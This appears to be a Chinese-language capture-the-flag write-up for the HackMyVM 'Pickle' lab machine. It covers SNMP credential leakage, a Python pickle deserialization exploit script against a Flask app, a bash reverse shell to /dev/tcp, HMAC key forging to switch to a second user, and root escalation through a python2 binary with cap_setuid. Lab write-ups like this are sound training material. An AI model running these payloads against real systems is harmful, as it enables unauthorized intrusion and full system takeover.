hmv[-_-]Pickle

Pickle

image-20240912141043011

image-20240912155527327

信息搜集

端口扫描

┌──(kali💀kali)-[~/temp/Pickle]
└─$ rustscan -a $IP -- -sCV     
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.10.105:21
Open 192.168.10.105:1337

PORT     STATE SERVICE REASON  VERSION
21/tcp   open  ftp     syn-ack vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.10.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
1337/tcp open  http    syn-ack Werkzeug httpd 1.0.1 (Python 2.7.16)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Pickle login
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix

漏洞发现

敏感端口测试

查看一下ftp服务内容:

┌──(kali💀kali)-[~/temp/Pickle]
└─$ ftp $IP
Connected to 192.168.10.105.
220 (vsFTPd 3.0.3)
Name (192.168.10.105:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||6295|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31148|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************************************************************************************************|  1306       32.87 KiB/s    00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (31.28 KiB/s)
ftp> exit
221 Goodbye.

┌──(kali💀kali)-[~/temp/Pickle]
└─$ cat init.py.bak 
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

@app.route('/', methods=["GET", "POST"])
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
def reset_page():
        '''
                __reset_page__()
        '''
        pass

@app.route('/checklist', methods=["GET", "POST"])
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)

踩点,发现存在验证:

image-20240912155957278

没有其他的办法,尝试爆破,但是未果。

UDP服务扫描

┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo nmap -sU -top 100 $IP  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 04:01 EDT
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 04:04 (0:00:00 remaining)
Nmap scan report for 192.168.10.105
Host is up (0.00089s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
161/udp  open          snmp
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:C5:BC:73 (Oracle VirtualBox virtual NIC)

检查一下snmp服务,查看一下有啥命令:https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#enumerating-snmp

尝试检索一下:

┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v X -c public $IP                                        
Invalid version specified after -v flag: X
USAGE: snmpwalk [OPTIONS] AGENT [OID]

  Version:  5.9.4.pre2
  Web:      http://www.net-snmp.org/
  Email:    net-snmp-coders@lists.sourceforge.net

OPTIONS:
  -h, --help            display this help message
  -H                    display configuration file directives understood
  -v 1|2c|3             specifies SNMP version to use
  -V, --version         display package version number
SNMP Version 1 or 2c specific
  -c COMMUNITY          set the community string
SNMP Version 3 specific
  -a PROTOCOL           set authentication protocol (MD5|SHA|SHA-224|SHA-256|SHA-384|SHA-512)
  -A PASSPHRASE         set authentication protocol pass phrase
  -e ENGINE-ID          set security engine ID (e.g. 800000020109840301)
  -E ENGINE-ID          set context engine ID (e.g. 800000020109840301)
  -l LEVEL              set security level (noAuthNoPriv|authNoPriv|authPriv)
  -n CONTEXT            set context name (e.g. bridge1)
  -u USER-NAME          set security name (e.g. bert)
  -x PROTOCOL           set privacy protocol (DES|AES|AES-192|AES-256)
  -X PASSPHRASE         set privacy protocol pass phrase
  -Z BOOTS,TIME         set destination engine boots/time
General communication options
  -r RETRIES            set the number of retries
  -t TIMEOUT            set the request timeout (in seconds)
Debugging
  -d                    dump input/output packets in hexadecimal
  -D[TOKEN[,...]]       turn on debugging output for the specified TOKENs
                           (ALL gives extremely verbose debugging output)
General options
  -m MIB[:...]          load given list of MIBs (ALL loads everything)
  -M DIR[:...]          look in given list of directories for MIBs
    (default: $HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf)
  -P MIBOPTS            Toggle various defaults controlling MIB parsing:
                          u:  allow the use of underlines in MIB symbols
                          c:  disallow the use of "--" to terminate comments
                          d:  save the DESCRIPTIONs of the MIB objects
                          e:  disable errors when MIB symbols conflict
                          w:  enable warnings when MIB symbols conflict
                          W:  enable detailed warnings when MIB symbols conflict
                          R:  replace MIB symbols from latest module
  -O OUTOPTS            Toggle various defaults controlling output display:
                          0:  print leading 0 for single-digit hex characters
                          a:  print all strings in ascii format
                          b:  do not break OID indexes down
                          e:  print enums numerically
                          E:  escape quotes in string indices
                          f:  print full OIDs on output
                          n:  print OIDs numerically
                          p PRECISION:  display floating point values with specified PRECISION (printf format string)
                          q:  quick print for easier parsing
                          Q:  quick print with equal-signs
                          s:  print only last symbolic element of OID
                          S:  print MIB module-id plus last element
                          t:  print timeticks unparsed as numeric integers
                          T:  print human-readable text along with hex strings
                          u:  print OIDs using UCD-style prefix suppression
                          U:  don't print units
                          v:  print values only (not OID = value)
                          x:  print all strings in hex format
                          X:  extended index format
  -I INOPTS             Toggle various defaults controlling input parsing:
                          b:  do best/regex matching to find a MIB node
                          h:  don't apply DISPLAY-HINTs
                          r:  do not check values for range/type legality
                          R:  do random access to OID labels
                          u:  top-level OIDs must have '.' prefix (UCD-style)
                          s SUFFIX:  Append all textual OIDs with SUFFIX before parsing
                          S PREFIX:  Prepend all textual OIDs with PREFIX before parsing
  -L LOGOPTS            Toggle various defaults controlling logging:
                          e:           log to standard error
                          o:           log to standard output
                          n:           don't log at all
                          f file:      log to the specified file
                          s facility:  log to syslog (via the specified facility)

                          (variants)
                          [EON] pri:   log to standard error, output or /dev/null for level 'pri' and above
                          [EON] p1-p2: log to standard error, output or /dev/null for levels 'p1' to 'p2'
                          [FS] pri token:    log to file/syslog for level 'pri' and above
                          [FS] p1-p2 token:  log to file/syslog for levels 'p1' to 'p2'
  -C APPOPTS            Set various application specific behaviours:
                          p:  print the number of variables found
                          i:  include given OID in the search range
                          I:  don't include the given OID, even if no results are returned
                          c:  do not check returned OIDs are increasing
                          t:  Display wall-clock time to complete the walk
                          T:  Display wall-clock time to complete each request
                          E {OID}:  End the walk at the specified OID

┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v 1 -c public $IP 
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (121922) 0:20:19.22
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (122955) 0:20:29.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 09 0C 04 0E 02 00 2D 04 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.19.0-11-amd64 root=UUID=1612bec5-c369-4a38-a5d9-61c9328c9afa ro quiet
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 68
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

找到一组密钥:

lucas
SuperSecretPassword123!

当成账号密码发现可以登录1337端口:

image-20240912161537797

路由分析

源代码如下:

from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

@app.route('/', methods=["GET", "POST"])
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:   
        # 检查 POST 数据中中的 `story` 和 `submit` 两个变量
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                # md5 加密 story 的数据
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])
                # 记录日志信息

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
def reset_page():
        '''
                __reset_page__()
        '''
        pass

@app.route('/checklist', methods=["GET", "POST"])
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                # 如果 p1 字段存在,则反序列化
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)

存在三组路由:

  • /
  • /reset
  • /checklist

多的不解释了,这个逻辑看起来不难,尝试一下:

┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02"
..........
<!--

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2464, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2450, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1867, in handle_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2447, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1821, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1936, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/opt/project/project.py", line 30, in decorated
    return f(*args, **kwargs)
  File "/opt/project/project.py", line 39, in index_page
    if request.method == "POST" and request.form["story"] and request.form["submit"]:
  File "/usr/local/lib/python2.7/dist-packages/werkzeug/datastructures.py", line 442, in __getitem__
    raise exceptions.BadRequestKeyError(key)
BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'submit'

-->

┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02&submit=%E6%8F%90%E4%BA%A4"
The message was sent successfully!

┌──(kali💀kali)-[~/temp/Pickle]
└─$ echo -n 'hgbe02' | md5sum                                                                                         
105abaedc26fb12d3fd5440a6ea8e27c  -

┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/checklist -d "check=105abaedc26fb12d3fd5440a6ea8e27c" 
hgbe02

通过报错,发现python版本为python2.7,同时也可以使用md5找到文件!

pickle利用

尝试进行反序列化利用,这里直接引用别的师傅写好的脚本辣:

#coding:utf-8
import os
import cPickle
import hashlib
import requests

class CommandExecute(object):
        def __reduce__(self):
                return (os.system, ('ping -c 1 192.168.10.102',))

convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.10.105:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.10.105:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)

多次运行发现可以ping成功!

┌──(kali💀kali)-[~/temp/Pickle]
└─$ python2 exp.py 2>/dev/null
0

┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo tcpdump -i eth1 icmp                    
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
05:20:44.205898 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 491, seq 1, length 64
05:20:44.205941 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 491, seq 1, length 64
05:21:08.452970 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 495, seq 1, length 64
05:21:08.452988 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 495, seq 1, length 64

修改相关命令,反弹shell!

bash -c "exec bash -i &>/dev/tcp/192.168.10.102/1234 <&1"

image-20240912172902329

提权

信息搜集

(remote) lucas@pickle:/home/lucas$ whoami;id
lucas
uid=1000(lucas) gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
(remote) lucas@pickle:/home/lucas$ ls -la
total 32
drwxr-xr-x 3 lucas lucas 4096 Oct 11  2020 .
drwxr-xr-x 4 root  root  4096 Oct 12  2020 ..
-rw------- 1 lucas lucas    1 Oct 12  2020 .bash_history
-rw-r--r-- 1 lucas lucas  220 Oct 11  2020 .bash_logout
-rw-r--r-- 1 lucas lucas 3526 Oct 11  2020 .bashrc
drwxr-xr-x 3 lucas lucas 4096 Oct 11  2020 .local
-rw-r--r-- 1 lucas lucas  807 Oct 11  2020 .profile
-rw-r--r-- 1 lucas lucas   66 Oct 11  2020 .selected_editor
(remote) lucas@pickle:/home/lucas$ sudo -l
bash: sudo: command not found
(remote) lucas@pickle:/home/lucas$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
(remote) lucas@pickle:/home/lucas$ cd /opt
(remote) lucas@pickle:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Oct 11  2020 .
drwxr-xr-x 18 root root 4096 Oct 11  2020 ..
drwxr-xr-x  5 root root 4096 Oct 12  2020 project
(remote) lucas@pickle:/opt$ cd project/
(remote) lucas@pickle:/opt/project$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Oct 12  2020 .
drwxr-xr-x 3 root root 4096 Oct 11  2020 ..
-rwxr-xr-x 1 root root 2654 Oct 12  2020 project.py
drwxr-xr-x 4 root root 4096 Oct 11  2020 static
drwxr-xr-x 2 root root 4096 Oct 11  2020 templates
drwxrwxrwx 2 root root 4096 Sep 12 05:28 uploads
(remote) lucas@pickle:/opt/project$ cat project.py 
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

def check_auth(username, password):
       """This function is called to check if a username /
       password combination is valid.
       """
       return username == 'lucas' and password == 'SuperSecretPassword123!'

def authenticate():
       """Sends a 401 response that enables basic auth"""
       return Response(
       'Could not verify your access level for that URL.\n'
       'You have to login with proper credentials', 401,
       {'WWW-Authenticate': 'Basic realm="Pickle login"'})

def requires_auth(f):
       @wraps(f)
       def decorated(*args, **kwargs):
           auth = request.authorization
           if not auth or not check_auth(auth.username, auth.password):
               return authenticate()
           return f(*args, **kwargs)
       return decorated

@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
        '''
                __reset_page__()
        '''
        if request.method == "POST" and request.form["username"] and request.form["key"]:
                key    = "dpff43f3p214k31301"
                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
                hashed = hmac.new(key, raw, hashlib.sha1)
                if request.form["key"] == hashed.hexdigest():
                        return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
        else:
                return "Server Error!"
        return render_template("reset.html")

@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

@app.route('/console')
@requires_auth
def secret_page():
        return "Server Error!"

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)
(remote) lucas@pickle:/opt/project$ cd uploads
(remote) lucas@pickle:/opt/project/uploads$ ls -la
total 28
drwxrwxrwx 2 root  root  4096 Sep 12 05:28 .
drwxr-xr-x 5 root  root  4096 Oct 12  2020 ..
-rw-r--r-- 1 lucas lucas    6 Sep 12 04:32 105abaedc26fb12d3fd5440a6ea8e27c.log
-rw-r--r-- 1 lucas lucas   58 Sep 12 05:21 110207bbd89a69ddcf2b2aebb3b380d5.log
-rw-r--r-- 1 lucas lucas   91 Sep 12 05:28 8c809790306c09de2a350426a25d7de3.log
-rw-r--r-- 1 lucas lucas    4 Sep 12 04:24 b59c67bf196a4758191e42f76670ceba.log
-rw-r--r-- 1 lucas lucas    9 Sep 12 04:24 bbb8aae57c104cda40c93843ad5e6db8.log
(remote) lucas@pickle:/opt/project/uploads$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
mark:x:1001:1001::/home/mark:/bin/bash

利用

尝试使用脚本进行利用:

import hashlib
import socket
import base64
import hmac

user=['lucas', 'mark']
for i in user:
    key = "dpff43f3p214k31301"
    raw = i + key + socket.gethostbyname(socket.gethostname())
    hashed = hmac.new(key, raw, hashlib.sha1)
    print("[+] USER:",i)
    print(base64.b64encode(hashed.digest().encode("base64").rstrip("\n")))

尝试运行:

(remote) lucas@pickle:/opt/project/uploads$ cd /tmp
(remote) lucas@pickle:/tmp$ nano exp.py&&chmod +x exp.py
(remote) lucas@pickle:/tmp$ python2 exp.py 
('[+] USER:', 'lucas')
YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ==
('[+] USER:', 'mark')
SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==

尝试修改密码以及切换用户:

(remote) lucas@pickle:/tmp$ passwd lucas
Changing password for lucas.
Current password: 
New password: 
# lucas
Retype new password: 
You must choose a longer password
New password: 
Retype new password: 
passwd: password updated successfully
# lucas123456

image-20240912174009181

python的capabilities权限提权root

mark@pickle:~$ ls -la
total 3640
drwxr-x--- 4 mark mark    4096 Oct 12  2020 .
drwxr-xr-x 4 root root    4096 Oct 12  2020 ..
-rw------- 1 mark mark       1 Oct 12  2020 .bash_history
-rw-r--r-- 1 mark mark     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 mark mark    3526 Apr 18  2019 .bashrc
drwx------ 3 mark mark    4096 Oct 12  2020 .gnupg
drwxr-xr-x 3 mark mark    4096 Oct 11  2020 .local
-rw-r--r-- 1 mark mark     807 Apr 18  2019 .profile
-rwxr-xr-x 1 root root 3689352 Oct 11  2020 python2
-rw-r----- 1 mark mark      33 Oct 11  2020 user.txt
mark@pickle:~$ cat user.txt 
e25fd1b9248d1786551e3412adc74f6f
mark@pickle:~$ whereis python2
python2: /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python2 /usr/lib/python2.7 /etc/python2.7 /usr/local/lib/python2.7 /usr/include/python2.7 /usr/share/man/man1/python2.1.gz
mark@pickle:~$ ls -la /usr/bin/python2.7
-rwxr-xr-x 1 root root 3689352 Oct 10  2019 /usr/bin/python2.7
mark@pickle:~$ ls -la /usr/bin/python2
lrwxrwxrwx 1 root root 9 Mar  4  2019 /usr/bin/python2 -> python2.7
mark@pickle:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
mark@pickle:~$ /usr/sbin/getcap -r / 2>/dev/null
mark@pickle:~$ whereis getcap
getcap: /usr/bin/getcap /usr/share/man/man8/getcap.8.gz
mark@pickle:~$ /usr/bin/getcap -r / 2>/dev/null
/home/mark/python2 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep

尝试进行提权:https://gtfobins.github.io/gtfobins/python/#capabilities

image-20240912174544462

mark@pickle:~$ /home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'

image-20240912174617982

参考

https://drive.google.com/file/d/14qAw3wP1dKjuXlpfLfbkvaxVcqS2Uk7d/view?usp=sharing

https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/HackMyVM/Machines/Pickle/

https://www.bilibili.com/video/BV1vcYyeoEsK/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇